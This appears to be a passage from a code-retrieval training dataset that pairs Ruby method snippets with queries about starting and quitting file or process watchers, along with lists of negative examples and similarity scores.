"def fetch_messages(gmail, label, criteria, save_attachments)\n mails = []\n gmail.mailbox(label).search(criteria).each do |email|\n subject = \"#{Mail::Encodings.value_decode(email.subject)}\"\n puts \"----------\"\n puts \"[#{email.uid}] #{subject}\"\n from = sender(email.from)\n to = recipients(email.to)\n attachments = attachments(email)\n body = extract_body(email)\n\n # TODO: saving attachments should be configurable\n if save_attachments && email.message.attachments.any?\n puts \"Attachments:\"\n email.message.attachments.each do |attachment|\n save_attachment(email, attachment)\n end\n end\n\n mails << { :uid => email.uid,\n :date => Time.parse(email.date),\n :subject => subject,\n :from => from,\n :to => to,\n :body => body,\n :attachments => attachments }\n end\n mails\n end",
"def notify_all\n MemberMailerWorker.perform_async(member_id: self.freelancer.id.to_s, job_order_id: self.id.to_s, perform: :send_job_paid_to_freelancer)\n MemberMailerWorker.perform_async(member_id: self.employer.id.to_s, job_order_id: self.id.to_s, perform: :send_job_paid_to_employer)\n TeamMailerWorker.perform_async(job_order_id: self.id.to_s, perform: :send_job_order_paid)\n\n\n MemberMailerWorker.perform_in(4.hours, member_id: self.employer.id.to_s, job_order_id: self.id.to_s, perform: :resend_job_paid_to_employer)\n MemberMailerWorker.perform_in(4.hours, member_id: self.freelancer.id.to_s, job_order_id: self.id.to_s, perform: :resend_job_paid_to_freelancer)\n\n km_properties = self.job.km_properties\n km_properties[:paid_job] = self.currency.convert_to_idr(self.budget)\n km_properties[:job_order_id] = self.id.to_s\n km_properties[:type] = self.class.to_s\n\n KissmetricsWorker.perform_async(perform: :job_paid, identity: self.job.member.email, properties: km_properties)\n\n # notify other applicants that a freelancer has been hired, only for the first job order\n if self.first_paid_order?\n all_applicants = self.job.job_applications\n all_applicants.each do |ja|\n if ja != self.job_application\n MemberMailerWorker.perform_async(member_id: ja.member.id.to_s, job_order_id: self.id.to_s, perform: :send_freelancer_hired_to_other_applicants)\n end\n end\n end\n end",
"def watchers\n @path_watcher_map.values\n end"
] |
[
"0.6625029",
"0.58762115",
"0.5699706",
"0.55986005",
"0.55883956",
"0.5588161",
"0.55659676",
"0.5532199",
"0.5530193",
"0.5530193",
"0.5525161",
"0.55043024",
"0.5487518",
"0.5396533",
"0.5370927",
"0.53650934",
"0.5359076",
"0.53409445",
"0.53271246",
"0.53244436",
"0.52733564",
"0.526491",
"0.5247218",
"0.5247218",
"0.5226687",
"0.51836586",
"0.517317",
"0.5167535",
"0.51655465",
"0.51629275",
"0.51609194",
"0.5159427",
"0.5154063",
"0.51470965",
"0.51436067",
"0.5132351",
"0.5131072",
"0.5109451",
"0.5084013",
"0.50750476",
"0.5071818",
"0.50668573",
"0.50623024",
"0.5061251",
"0.50498",
"0.50446945",
"0.5043354",
"0.5032431",
"0.5025233",
"0.5015117",
"0.50126654",
"0.50008065",
"0.49974644",
"0.4988888",
"0.4977053",
"0.49762222",
"0.49684536",
"0.4940115",
"0.49170396",
"0.4916559",
"0.49092504",
"0.49010178",
"0.48934844",
"0.48930407",
"0.48899838",
"0.48878452",
"0.48786053",
"0.48713952",
"0.48712492",
"0.48712292",
"0.4866083",
"0.48650944",
"0.48582754",
"0.48524752",
"0.4852354",
"0.48434865",
"0.48305795",
"0.4830506",
"0.4828016",
"0.4817027",
"0.48136005",
"0.4797611",
"0.47951382",
"0.47921896",
"0.4772812",
"0.4769587",
"0.4768749",
"0.47680467",
"0.4764663",
"0.4759655",
"0.4746715",
"0.47417966",
"0.4738427",
"0.4738111",
"0.47377434",
"0.47357884",
"0.47335857",
"0.47328833",
"0.47270226",
"0.47267482"
] |
0.74525857
|
0
|
start each of the watchers to running
|
def run
watchers.each(&:run)
self.running = true
sleep_while_running
ensure
quit
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def watch\n start_watch\n end",
"def watch!\n start_watch true\n end",
"def start\n run_all if @options[:all_on_start]\n end",
"def start\n run_all if options[:all_on_start]\n end",
"def start\n run_all if options[:all_on_start]\n end",
"def start\n run_all if options[:all_on_start]\n end",
"def start\n run_all if options[:all_on_start]\n end",
"def start_watch_files\n coffee_files.each do |file|\n @notifier.watch(file, :modify) do\n CoffeeCompiler.compile_file(file, true, true)\n end\n end\n end",
"def start\n puts \"Watching these files for changes #{glob}...\"\n configure_directory_watcher\n setup_graceful_exit\n \n directory_watcher.start.join\n end",
"def start_watcher\n Thread.new{ loop{ watcher_cycle }}\n end",
"def start_watchers\n # Watcher callbacks are invoked in a separate Ruby thread. Note that there\n # is a possible deadlock between invoking watcher callbacks and calling\n # close(): if we get a watcher event and a close at around the same time,\n # the close might fire first. Closing the Zk handle will block on\n # dispatching outstanding watchers, but it does so holding the @zk_mutex,\n # causing a deadlock. Hence, we just have the watcher callback spin on the\n # @zk_mutex, aborting if the handle is ever closed.\n @child_watcher = Zookeeper::Callbacks::WatcherCallback.new do\n while true\n break if @zk.closed?\n if @zk_mutex.try_lock\n get_and_watch unless @zk.closed?\n @zk_mutex.unlock\n break\n end\n end\n end\n\n @stat_watcher = Zookeeper::Callbacks::WatcherCallback.new do\n while true\n break if @zk.closed?\n if @zk_mutex.try_lock\n stat_and_watch unless @zk.closed?\n @zk_mutex.unlock\n break\n end\n end\n end\n\n stat_and_watch\n end",
"def start\n puts \"Watcher RUNNING------------------->\"\n loop do\n unless (diff = build_file_list - @org_file_list).empty?\n # sleep 0.5\n diff.each do |meta|\n @callbacks[:new_file_created].call(meta[0])\n end\n exit\n end\n sleep 0.5\n end\n end",
"def start\n workers.map { _1.start.wait! }\n end",
"def start_watches(paths)\r\n for path in paths\r\n # Get or create a Position object for the file path.\r\n pos_file = @pos != nil ? @pos.get_position(path) : Position.new(path)\r\n # Create a LogState to track the log.\r\n log_state = LogState.new(pos_file, method(:emit_lines))\r\n # Start a timer to check for changes in the log and emit new lines.\r\n log_state.timer = timer_execute(:iis_file_watchers, @read_log_entires, repeat: false, &log_state.method(:emit_lines))\r\n @watched_files[path] = log_state\r\n end\r\n end",
"def run_all\n #run_on_changes(Watcher.match_files(self, Dir.glob(\"**/*.*\")))\n @builder.notify(true)\n end",
"def run\n channels.map { |channel| channel.start }\n end",
"def run_all\n run_on_changes(Watcher.match_files(self, Dir.glob(File.join('**', '*.*'))))\n end",
"def init_worker\n worker = FChange::Notifier.new\n @directories.each do |directory|\n watcher = worker.watch(directory, :all_events, :recursive) do |event|\n next if @paused\n @mutex.synchronize do\n @changed_dirs << File.expand_path(event.watcher.path)\n end\n end\n worker.add_watcher(watcher)\n end\n worker\n end",
"def run_all\n run_on_additions(Watcher.match_files(self, Dir.glob('{,**/}*{,.*}').uniq))\n end",
"def attach\n @monitored_paths.each {|path| SingleFileWatcher.new(path.to_s).attach(@loop) }\n end",
"def start\n _init_actors\n unpause\n @stopping = false\n registry[:adapter].async.start\n Thread.new { _wait_for_changes }\n end",
"def run_all\n targets = Watcher.match_files(self, Dir.glob(\"**/*.*\"))\n run_on_changes targets\n end",
"def run\n @listeners.each {|name,s| \n s.run \n }\n\n $mongrel_sleeper_thread = Thread.new { loop { sleep 1 } }\n end",
"def setup\n logger.info 'setup workers'\n\n setup_refresh_timer\n setup_analyze_timer\n end",
"def launch_all\n @servers.each { |s|\n begin\n obj_behavior(s, :start)\n rescue Exception => e\n raise e unless e.message =~ /AlreadyLaunchedError/\n end\n }\n end",
"def start_watching\n start_runner\n loop do\n if @files.detect { |file| File.exists?(file) && File.stat(file).mtime > @time }\n puts \"reloading sketch...\"\n $app && $app.close\n @time = Time.now\n GC.start\n start_runner\n reload_files_to_watch\n end\n sleep 0.33\n end\n end",
"def start(*names)\n @all_stopped = false\n names.flatten.each do |name|\n # run the command that starts up the node and store the subprocess for later manipulation\n @resources[name].run unless @started[name]\n\n @started[name] = true\n end\n end",
"def start(&block)\r\n if isStarted? then\r\n raise RuntimeError, \"already started\"\r\n end\r\n\r\n setState(STARTED)\r\n\r\n @firstLoad = true\r\n @foundFiles = Hash.new()\r\n\r\n # we watch in a new thread\r\n @watchThread = Thread.new {\r\n # we will be stopped if someone calls stop or if someone set a stopWhen that becomes true\r\n while !isStopped? do\r\n if ([email protected]?) or ([email protected]?) then \r\n # this will hold the list of the files we looked at this iteration\r\n # allows us to not look at the same file again and also to compare\r\n # with the foundFile list to see if something was deleted\r\n alreadyExamined = Hash.new()\r\n \r\n # check the files in each watched directory\r\n if not @directories.empty? then\r\n @directories.each { |dirObj|\r\n examineFileList(dirObj.getFiles(), alreadyExamined, &block)\r\n }\r\n end\r\n \r\n # now examine any files the user wants to specifically watch\r\n examineFileList(@files, alreadyExamined, &block) if not @files.empty?\r\n \r\n # see if we have to delete files from our found list\r\n if not @firstLoad then\r\n if not @foundFiles.empty? then\r\n # now diff the found files and the examined files to see if\r\n # something has been deleted\r\n allFoundFiles = @foundFiles.keys()\r\n allExaminedFiles = alreadyExamined.keys()\r\n intersection = allFoundFiles - allExaminedFiles\r\n intersection.each { |fileName|\r\n # callback\r\n block.call(DELETED, fileName)\r\n # remove deleted file from the foundFiles list\r\n @foundFiles.delete(fileName)\r\n } \r\n end\r\n else\r\n @firstLoad = false\r\n end\r\n end\r\n \r\n # go to sleep\r\n sleep(@sleepTime)\r\n end\r\n }\r\n \r\n # set the watch thread priority\r\n @watchThread.priority = @priority\r\n\r\n end",
"def start_listening\n @continue_listening = true\n while @continue_listening\n listen_for_changes\n end\n end",
"def report_start_run\n @run_status = Moto::Reporting::RunStatus.new\n @run_status.initialize_run\n\n @listeners.each do |l|\n l.start_run\n end\n end",
"def start\n events.map(&:schedule)\n end",
"def start_monitoring\n @scheduler.start()\n end",
"def start\n loop do\n run\n end\n end",
"def launch_all\n @servers.each { |s|\n begin\n object_behavior(s, :start)\n rescue Exception => e\n raise e unless e.message =~ /AlreadyLaunchedError/\n end\n }\n end",
"def start\n mutex.synchronize do\n return unless stopped\n @stopped = false\n end\n\n start_worker\n start_poller\n end",
"def run\n setup_queues\n setup_procs.each(&:call)\n\n Waiter.wait_until_signaled\n\n stop\n end",
"def start\n while listen\n # Loop for-ev-er\n end\n end",
"def start_poller\n @poller_thread = Thread.new { poll_changed_directories }\n end",
"def start\n $stderr.puts \"Watching filesystem events in: #{@existing_parent}\"\n\n callback = Proc.new do |modified, added, removed|\n if added.any? {|i| File.fnmatch(@watch_path, i) }\n puts \"Added: #{@watch_path}\"\n exit 0\n end\n end\n\n listener = Listen.to(@existing_parent, ignore!: [], &callback)\n listener.start\n\n # Set trap so that we can break out of `sleep`\n Signal.trap(\"INT\") do\n puts \"Exiting...\"\n exit 4\n end\n\n sleep\n end",
"def run_all\n run_on_changes(Watcher.match_files(self, Dir.glob('**{,/*/**}/*.coffee')))\n end",
"def start\n puts \"** quick_serve: scanning for files... \"\n # build a file collection\n find_files\n puts \"** quick_serve: watching #{files.size} files for changes... \"\n wait \n end",
"def start!\n Signal.trap(\"INT\") { printer.done; exit }\n\n queue = Test.all_tests\n threads = (thread_count-1).times.map { |i| Thread.new { worker!(queue, i+1) } }\n\n worker!(queue, 0)\n threads.join\n\n printer.done\n end",
"def run\n schedule_managers\n end",
"def run_all\n run_on_changes(Watcher.match_files(self, Dir.glob('**{,/*/**}/*').uniq.compact))\n end",
"def _for(*keywords)\n @watchers.each do |watcher|\n watcher._for(*keywords)\n end\n self\n end",
"def start_watching\n @thread = Thread.new{ \n while true\n self.scan_now\n sleep @autoscan_delay\n end\n }\n end",
"def start\n\t\t@log_reporter.start\n\t\t@proc_reporter.start\n\n\t\tsuper\n\tend",
"def start\n\t\t\[email protected] do |name, service|\n\t\t\t\tAsync.logger.debug(self) {\"Starting #{name}...\"}\n\t\t\t\tservice.start\n\t\t\tend\n\t\tend",
"def refresh_watchers()\r\n paths = []\r\n\r\n # A list of all file paths the user passed in.\r\n unresolved_paths = @path.split(',')\r\n unresolved_paths = unresolved_paths.size == 0 ? @path : unresolved_paths\r\n\r\n # Glob all file paths and keep all readable files.\r\n for unresolved_path in unresolved_paths\r\n paths += Dir.glob(unresolved_path.strip).select do |resource|\r\n File.file?(resource) && File.readable?(resource)\r\n end\r\n end\r\n\r\n watched = @watched_files.keys\r\n\r\n # Files we are not yet watching.\r\n new_files = paths - watched\r\n\r\n # Files we are watching that no longer exist.\r\n dead_files = watched - paths\r\n\r\n start_watches(new_files)\r\n stop_watches(dead_files, true)\r\n end",
"def run_all\n run_on_change(\n Watcher.match_files(\n self, \n Dir.glob(File.join(::Guard.listener.directory, '**', '*.s[ac]ss')).\n map {|f| f[::Guard.listener.directory.size+1..-1] }.\n reject {|f| partial?(f) }\n )\n )\n end",
"def start\n if not running?\n @log.info \"Tracking #{@trackers.keys.count} accounts...\"\n @trackers.each_value {|tracker| tracker.start}\n @running = true\n else\n @log.info \"Already tracking #{@trackers.keys.count} accounts\"\n end\n end",
"def run_all\n run_on_changes\n end",
"def start\n logger.info \"watchdog start\"\n @timer = every(@interval) do\n check\n end\n end",
"def run\r\n @cordinators.each do |c|\r\n @threads << Thread.new do\r\n c.run\r\n end\r\n end\r\n end",
"def start\r\n begin\r\n logger.info{ \"about to start dispatchers with config\\n#{@config.to_yaml}\" }\r\n @config.each{ |conf|\r\n conf[\"threads\"].to_i.times { |index|\r\n Thread.fork(@group, conf, index){|group, conf, index|\r\n dispatching_loop(group, conf, index)\r\n }\r\n }\r\n @dispatch_targets.concat(conf[\"targets\"]).concat(';')\r\n logger.debug{ \"dispatch targets are : #{@dispatch_targets}\" }\r\n }\r\n logger.info \"queue manager has forked dispatchers\"\r\n rescue Exception => err\r\n logger.warn{\"Error in starting dipatchers #{err}\"}\r\n logger.warn{err.backtrace.join(\"\\n\")}\r\n raise err\r\n end\r\n end",
"def run_all\n end",
"def run_all\n end",
"def start\n prepare\n loop do\n git_poller.poll\n sleep ws.config.daemon_polling_period\n end\n end",
"def start_watching_cluster\n Watchers::DeployWatcher.restart_watcher(project)\n end",
"def run_workers\n @workers_started = true\n @workers.values.each(&:start)\n @worker_threads.values.each(&:join)\n @resurrection_thread.join\n end",
"def start_watch\n beanstalk.watch(@job_name)\n beanstalk.list_tubes_watched.each do |server, tubes|\n tubes.each { |tube| beanstalk.ignore(tube) unless tube == @job_name }\n end\n end",
"def x_start\n run_callbacks :execute do\n # binding.pry\n context.resource_runtimes.each do |runtime|\n runtime.execute(:start)\n # binding.pry\n # runtime.start do |queue|\n # binding.pry\n # queue.run\n # queue.map(&:to_a).flatten.each do |msg|\n # Cnfs.logger.warn(msg)\n # end\n # end\n end\n end\n end",
"def start_run; end",
"def start\n begin\n EventMachine.run do\n \n @config.rabbitmq_hosts.each do |rabbitmq_host|\n if rabbitmq_host[\"enabled\"] == true\n start_worker(rabbitmq_host)\n end\n end\n Signal.trap(\"INT\"){EventMachine.stop}\n Signal.trap(\"QUIT\"){EventMachine.stop}\n Signal.trap(\"TERM\"){EventMachine.stop}\n Signal.trap(\"TSTP\"){EventMachine.stop}\n end\n rescue Exception=>e\n puts \"#{e.message} #{e.backtrace}\"\n end\n end",
"def startApplications()\n debug(\"Start all applications\")\n @applications.each_key { |name|\n startApplication(name)\n }\n end",
"def setup_watcher\n this = self\n Handler.send(:define_method, :app) do\n this\n end\n\n @@load_paths.each do |name, path|\n Dir[\"#{self.app_path}/#{path}\"].each do |f|\n EM.watch_file(f, Handler)\n end\n end\n end",
"def run_replications\n # Add fresh schedule\n old_shedule = @schedule\n @schedule = {}\n @active = false\n\n old_shedule.each_value do |conn|\n conn.start\n end\n end",
"def start_threads\n @actions.each do |action|\n @threads << Thread.new { action.start }\n end\n @threads.map(&:join)\n end",
"def run_serially\n @all_stopped = false\n\n @resources.each do |name,object|\n object.run\n if object.respond_to? :wait\n object.wait\n else\n object.stop\n end\n end\n\n @all_stopped = true\n end",
"def start\n _signals_trap\n _init_actors\n unpause\n Celluloid::Actor[:listen_adapter].async.start\n @thread = Thread.new { _wait_for_changes }\n end",
"def run\n @managers = Proletariat.worker_classes.map do |worker_class|\n Manager.spawn!(name: \"manager_#{worker_class.to_s}_#{object_id}\",\n supervise: true,\n args: [worker_class])\n end\n\n managers.each { |manager| manager << :run }\n\n nil\n end",
"def start\n\t\t\[email protected] do |name, service|\n\t\t\t\tConsole.logger.debug(self) {\"Starting #{name}...\"}\n\t\t\t\tservice.start\n\t\t\tend\n\t\tend",
"def run_loop\n # Run all plugins\n @controller_plugins.each do |controller_plugin|\n controller_plugin.run\n log_stats(controller_plugin)\n end\n trigger_success_handlers\n end",
"def run(&block)\n watch_recursive @project_dir\n\n while true\n if IO.select([@notifier.to_io], [], [], @frequency)\n @notifier.process\n elsif @events.size > 0\n if block_given?\n yield @events\n else\n check @events\n end\n @events = []\n end\n end\n end",
"def run_all()\n end",
"def start\n enable_cow\n start_bunny\n register_signals\n create_queues\n end",
"def _init_worker\n INotify::Notifier.new.tap do |worker|\n _directories_path.each { |path| worker.watch(path, *EVENTS, &_worker_callback) }\n end\n end",
"def start!\n Thread.new {\n Docker::Container.all.each do |container|\n stream_container_logs(container, 'start')\n end\n }\n end",
"def watch!(*globs)\n @watchlist.accept!(globs)\n end",
"def _init_worker\n KQueue::Queue.new.tap do |queue|\n _directories_path.each do |path|\n Find.find(path) { |file_path| _watch_file(file_path, queue) }\n end\n end\n end",
"def listen(monitored_paths)\n @monitored_paths = monitored_paths\n attach\n @loop.run\n end",
"def run_all\n run_suite(@suite)\n end",
"def start\n lock.synchronize do\n return if started.value\n\n started.value = true\n workers[:maintenance] = Thread.new { loop { check_timeouts } }\n workers[:listener] = Thread.new { loop { listen } }\n end\n end",
"def start\n @runner = Runner.new @options\n if @runner.nil?\n @raise [:task_has_failed]\n end\n notify_start\n run_all if @options[:all_on_start]\n end",
"def run\n super\n cron_poller.start\n end",
"def run_on_changes(paths)\n paths.each do |path|\n # use output_folder or default back to watched file location\n run_steering(path, @options[:output_folder] || File.dirname(path))\n end\n end",
"def do_listening\n in_dir @config.base_path do\n\n # Notify people if we are using fallback mode\n if @config.force_poll\n puts statusbar \"Using polling fallback listener\", &:yellow\n end\n\n # Force a change to start with\n run_command\n\n params = {\n latency: 0.5,\n }\n\n params[:only] = Regexp.new(@config.filters.join(\"|\")) unless @config.filters.empty?\n params[:ignore] = Regexp.new(@config.ignored.join(\"|\")) unless @config.ignored.empty?\n\n if @config.force_poll\n params[:latency] = @config.force_poll\n params[:force_poll] = true\n end\n\n @listener = Listen.to(*@config.paths, params) do |*args|\n self.on_change *args\n end\n \n @listener.start\n end\n end",
"def run_all\n continuous_test_server.run_strategy\n end",
"def setup!\n Patches::Queue.apply!\n\n Sidekiq.configure_server do |config|\n config.on(:startup) { start_watcher }\n config.on(:quiet) { stop_watcher }\n\n @communicator.receive(PAUSE_MESSAGE, &method(:add))\n @communicator.receive(RESUME_MESSAGE, &method(:delete))\n @communicator.ready { sync! }\n end\n end",
"def start\n configure\n run\n end",
"def start(_files); end",
"def start\n \n register_signal_handlers\n log.info(\"Registered event handlers...\")\n \n EM.synchrony do\n do_work\n end\n \n end",
"def start \n `killall gammu-smsd` && puts(\"Killing Daemons!\")\n puts \"Loading Daemons......\"\n @phones.values.each do |provider|\n fork do\n exec \"gammu-smsd -c #{@datafolder+provider} &\"\n end\n end\n end",
"def setup\n @running_count = 0\n @context.notifications.on(\"graph.start\", self) { start }\n @context.notifications.on(\"graph.stop\", self) { stop }\n\n start if @context.running?\n end",
"def start_tests(files)\n end",
"def start\n validate!\n start_messages\n create_workers\n Process.wait\n end",
"def start\n validate!\n start_messages\n create_workers\n Process.wait\n end",
"def start(commands, runner)\n end",
"def start_work\n robots.each {|r| r.async.work} unless Artoo::Robot.is_running?\n Artoo::Robot.running!\n end",
"def start_work\n robots.each {|r| r.async.work} unless Artoo::Robot.is_running?\n Artoo::Robot.running!\n end"
] |
[
"0.70683455",
"0.704314",
"0.7041177",
"0.70304525",
"0.70304525",
"0.70304525",
"0.69761837",
"0.69615877",
"0.69147354",
"0.68628025",
"0.68527764",
"0.6799047",
"0.6755888",
"0.6701634",
"0.6568977",
"0.65603554",
"0.6539797",
"0.6517093",
"0.6442863",
"0.64336795",
"0.6396154",
"0.63861316",
"0.63699293",
"0.6365868",
"0.6364379",
"0.6360578",
"0.6329184",
"0.6308894",
"0.62793064",
"0.62528765",
"0.62512296",
"0.62440485",
"0.6242341",
"0.62392884",
"0.6230306",
"0.6220473",
"0.6216638",
"0.6216183",
"0.6216084",
"0.6211971",
"0.62109256",
"0.62058896",
"0.62044626",
"0.61669314",
"0.6155989",
"0.6150007",
"0.61494476",
"0.61265177",
"0.61216813",
"0.6109057",
"0.6104059",
"0.6088627",
"0.6074223",
"0.6070657",
"0.60698754",
"0.60642236",
"0.60642236",
"0.60566336",
"0.6046745",
"0.60433006",
"0.6037268",
"0.6032746",
"0.6022893",
"0.6007891",
"0.6002469",
"0.6000651",
"0.5991453",
"0.59913915",
"0.59855485",
"0.5981348",
"0.5978857",
"0.5977315",
"0.5976104",
"0.5963825",
"0.5959053",
"0.59490854",
"0.59456325",
"0.5944025",
"0.5935245",
"0.593265",
"0.59313065",
"0.5926841",
"0.59267646",
"0.5922509",
"0.5918312",
"0.59110665",
"0.5908905",
"0.59057593",
"0.59032536",
"0.58980244",
"0.5881946",
"0.58818907",
"0.58701754",
"0.58690315",
"0.58674526",
"0.58651114",
"0.58651114",
"0.5855201",
"0.58467984",
"0.58467984"
] |
0.787525
|
0
|
quit each of the watchers when we're done running
|
def quit
watchers.each(&:quit)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def quit\n @watch.quit # <-- should close all the files\n # and that should allow the sincedb_write to succeed if it could not before\n _sincedb_write\n end",
"def clear_watchers\n clear_all_watchers\n puts \"All watchers removed\"\n end",
"def run\n watchers.each(&:run)\n \n self.running = true\n \n sleep_while_running\n ensure\n quit\n end",
"def end_watch\n if @listener\n @listener.stop\n end\n end",
"def stop_watchdog!\n @watch_thread.exit if @watch_thread\n end",
"def stop\n @quit = true\n end",
"def on_stop\n # close any open files, sockets, etc.\n end",
"def cleanup \n # close the sockets \n @servers.each{ |server| server[:listner].stop }\n @monitor.close\n end",
"def quit\n @player.quit\n @threads.each(&:kill)\n @invoker.destroy\n true\n end",
"def quit\n @threads&.each do |t|\n t.kill.join\n end\n Gtk.main_quit\n end",
"def stop\n managers.each { |manager| manager << :terminate! } if managers\n @managers = nil\n\n nil\n end",
"def shutdown()\n @mutex.synchronize do\n @isRunning = false\n end\n if [email protected]?\n Thread.kill(@waitThread)\n end\n @threads.each do |t|\n Thread.kill(t)\n end\n @logs.each do |k, v|\n v.close\n end\n exit\nend",
"def shutdown_workers\n # Each worker thread will receive this exactly once!\n @worker_threads.each do |t|\n @logger.debug(\"Pushing shutdown\", :thread => t.inspect)\n @signal_queue.push(SHUTDOWN)\n end\n\n @worker_threads.each do |t|\n @logger.debug(\"Shutdown waiting for worker thread #{t}\")\n t.join\n end\n\n @filters.each(&:do_close)\n @outputs.each(&:do_close)\n end",
"def shutdown_all\n # TODO: implement\n shutdown\n end",
"def stop_watching\n @thread.kill\n end",
"def stop\n self.polling_timers.each do |polling_timer|\n polling_timer.shutdown\n end\n self.polling_timers = []\n end",
"def stop\n Juggler::Runner.stop.callback {\n Juggler.logger.info \"Exited cleanly\"\n EM.stop\n }.errback {\n t = Juggler.shutdown_grace_timeout\n Juggler.logger.info \"Force exited after #{t}s with tasks running\"\n EM.stop\n }\n end",
"def stop\n daemon_workers.each do |pid, worker_threads|\n worker_threads.each(&:kill)\n worker_threads.clear\n end\n exit\n end",
"def stop\n Vedeu.trigger(:_cleanup_)\n\n Vedeu::Runtime::MainLoop.stop!\n end",
"def stop_threads\n @worker_threads.each do |name, t|\n puts \"Stopping thread: #{name}\"\n t.exit\n end\n end",
"def on_quitting\n end",
"def c_quit()\n \tputs \"closing mucs\"\n\tcb = proc { \n\t\tsleep 5\n\t\treturn 1\n\t}\n#\[email protected] {|chan,mucobj| }\n#\tEventMachine::defer (cb, proc {|r| on_quit(r)})\n\tend",
"def stop\n debug \" [+] interrupt watch_thread [@filePtr.closed?(#{@filePtr.closed?})]\"\n @thread.raise Interrupt # this should interrupt the thread while\n \n # removing all monitors from running inotify this sends events for each\n # removed inotify watch\n debug \" [+] stop @watchers(#{@watchers.length})\"\n @watchers.each do |watch|\n watch.remove_watch\n end\n @filePtr.close if not @filePtr.closed?\n debug \" [+] i've closed the inotify FD closed=(#{@filePtr.closed?})\"\n \n # make sure @thread is REALLY closed otherwise kill it\n if @thread.alive?\n debug \" [+] WARNING: thread is not cleanly stopped I must terminate!\"\n @thread.terminate!\n end\n @filePtr = nil\n @thread = nil\n end",
"def quit; @quit = 1 end",
"def shutdown!\n shutdown\n kill_jobs\n end",
"def shutdown_zombies\n dispatchers.jobs {\n |jobs|\n jobs.each {\n |job|\n next if job['helpers']['rank'] == 'slave' ||\n job['owner'] == HELPER_OWNER\n\n instances.connect( job['url'], session ).framework.busy? {\n |busy|\n\n if !busy.rpc_exception? && !busy\n save_and_shutdown( job['url'] ){\n log.webui_zombie_cleanup( env, job['url'] )\n }\n end\n }\n }\n }\n end",
"def stop_all!\n @devices.each(&:stop!)\n end",
"def stop\n @runner.stop\n end",
"def destroy\n self.timelog_stop_tracking\n \n #Use quit-variable to avoid Gtk-warnings.\n Gtk.main_quit if @quit != true\n @quit = true\n end",
"def will_quit\n end",
"def stop_workers\n for worker in workers\n for child in worker.childs\n child.die!\n end\n end\n workers.clear\n end",
"def shutdown\n @done = true\n end",
"def shutdown\n @done = true\n end",
"def stop\n exit\n end",
"def force_quit; @quit = 2 end",
"def quit\n @ui.close\n @player.close\n @logger.close\n exit\n end",
"def quit\n @ui.close\n @player.close\n @logger.close\n exit\n end",
"def stop_all_streams; end",
"def shutdown\n @@servers.values.each do |server|\n server.disconnect\n server.scheduler.remove_all\n end\n end",
"def auto_stop\n at_exit { self.stop! if self.running? }\n end",
"def stop\n @loop = nil\n end",
"def teardown\n @fox_driver.quit\n end",
"def shutdown\n @threads.each { |thread| thread.kill if thread.respond_to?(:kill) }\n @threads.map! { nil }\n end",
"def stop_workers\n @resurrection_thread.kill if @resurrection_thread\n @workers.values.each(&:stop)\n true\n end",
"def quit()\n @webdriver.quit()\n cleanUp();\n end",
"def detach\n @loop.watchers.each {|watcher| watcher.detach }\n end",
"def quit!\n @done = true\n @quit = true\n\n # If quit! is called from other than a command, we need to interrupt the\n # breakpoint listener thread\n unless @debug_thread\n @breakpoint_tracker.debug_channel.send nil\n @breakpoint_listener.join\n end\n end",
"def exit\n check_running\n @running = false\n @dispatchers.each(&:exit)\n @pool.exit\n end",
"def unwatch; end",
"def unwatch; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop\n #@mutex.synchronize do\n @apps.pop.tap do |app|\n app.kill(:TERM, false)\n @monitor.pop(app) rescue ThreadError\n end until @apps.empty?\n #end\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def shutdown\n @running = false\n end",
"def quit_on_delete!\n on_delete do\n quit\n end\n end",
"def stopping; end",
"def shutdown() \n results.close\n @delete_results = false\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def quit\n @retry, @resignin = nil\n end",
"def stop!\n @connections.each do |connection|\n puts \" -> stopping '#{connection.connection_id}'\"\n connection.disconnect\n end\n\n SweetieBot.log 'Stopped.'\n end",
"def quit_driver()\n @driver.shutdown\n end",
"def stop!; end",
"def stop\n Internals::ThreadPool.stop\n @listeners ||= []\n\n # TODO: should use a mutex for this\n @listeners.each do |listener|\n # call stop to halt the main loop\n listener.stop\n end\n @listeners = nil\n end",
"def stop(graceful = true)\n self.listeners = []\n limit = Time.now + timeout\n until WORKERS.empty? || Time.now > limit\n if graceful\n soft_kill_each_worker(:QUIT)\n else\n kill_each_worker(:TERM)\n end\n sleep(0.1)\n reap_all_workers\n end\n kill_each_worker(:KILL)\n end",
"def quit; end",
"def quit; end",
"def finished\n wait_for_complete\n @workers.each(&:release)\n\n # Give time for reporting to finish. FIXME - This is a hack.\n sleep(2)\n\n @reporting_thread.kill\n @reporting_server.stop_service\n end",
"def shutdown\n puts \"shutting down\"\n @run = false\n thread_list.each do |thread|\n thread.raise ExitError\n end\n end",
"def killall\n begin\n\t @connections.each do |k,v| \n\t v[:thread].exit! unless v[:thread].nil?\n\t v.shutdown!\n\t end\n rescue Exception\n end\n initialize\n end",
"def shutdown\n @stopped = false\n end",
"def stop\n @run = false\n end",
"def exit\n @main_loop = false\n end",
"def stop_all\n @resources.each { |name,object| stop name unless object.done? } unless @all_stopped\n end",
"def stop()\n @tasks.each_value { |task| task.stop() }\n end",
"def stop\n setup unless running\n\n within_preserved_state do\n ::Guard::UI.debug 'Guard stops all plugins'\n runner.run(:stop)\n ::Guard::Notifier.turn_off\n ::Guard::UI.info 'Bye bye...', reset: true\n listener.stop\n @running = false\n end\n end",
"def quit!\n quit\n exit!\n end",
"def stop_and_cleanup\n raise_outside_initial_queue\n @state_machine.log \"Stopping #{self}...\" if @verbose\n @current_state.send :exit!\n @current_state = nil\n @state_symbols_to_states.values.each(&:cleanup)\n end",
"def shutdown_execution\n stopped_event.set\n end",
"def stop\n @shutdown = true\n end",
"def kill\n signal(\"KILL\", scope: :all)\n cleanup\n end",
"def shutdown\n @done = true\n begin\n @node.wakeup\n rescue\n # best effort\n end\n @monitor_thread.join\n rescue => ex\n logger.warn(\"Failed to gracefully shutdown watcher for #{@node}\")\n end",
"def stop\n @running = false\n end",
"def stop\n @running = false\n end",
"def stop\n @running = false\n end"
] |
[
"0.7150497",
"0.705695",
"0.6829095",
"0.6804164",
"0.6565564",
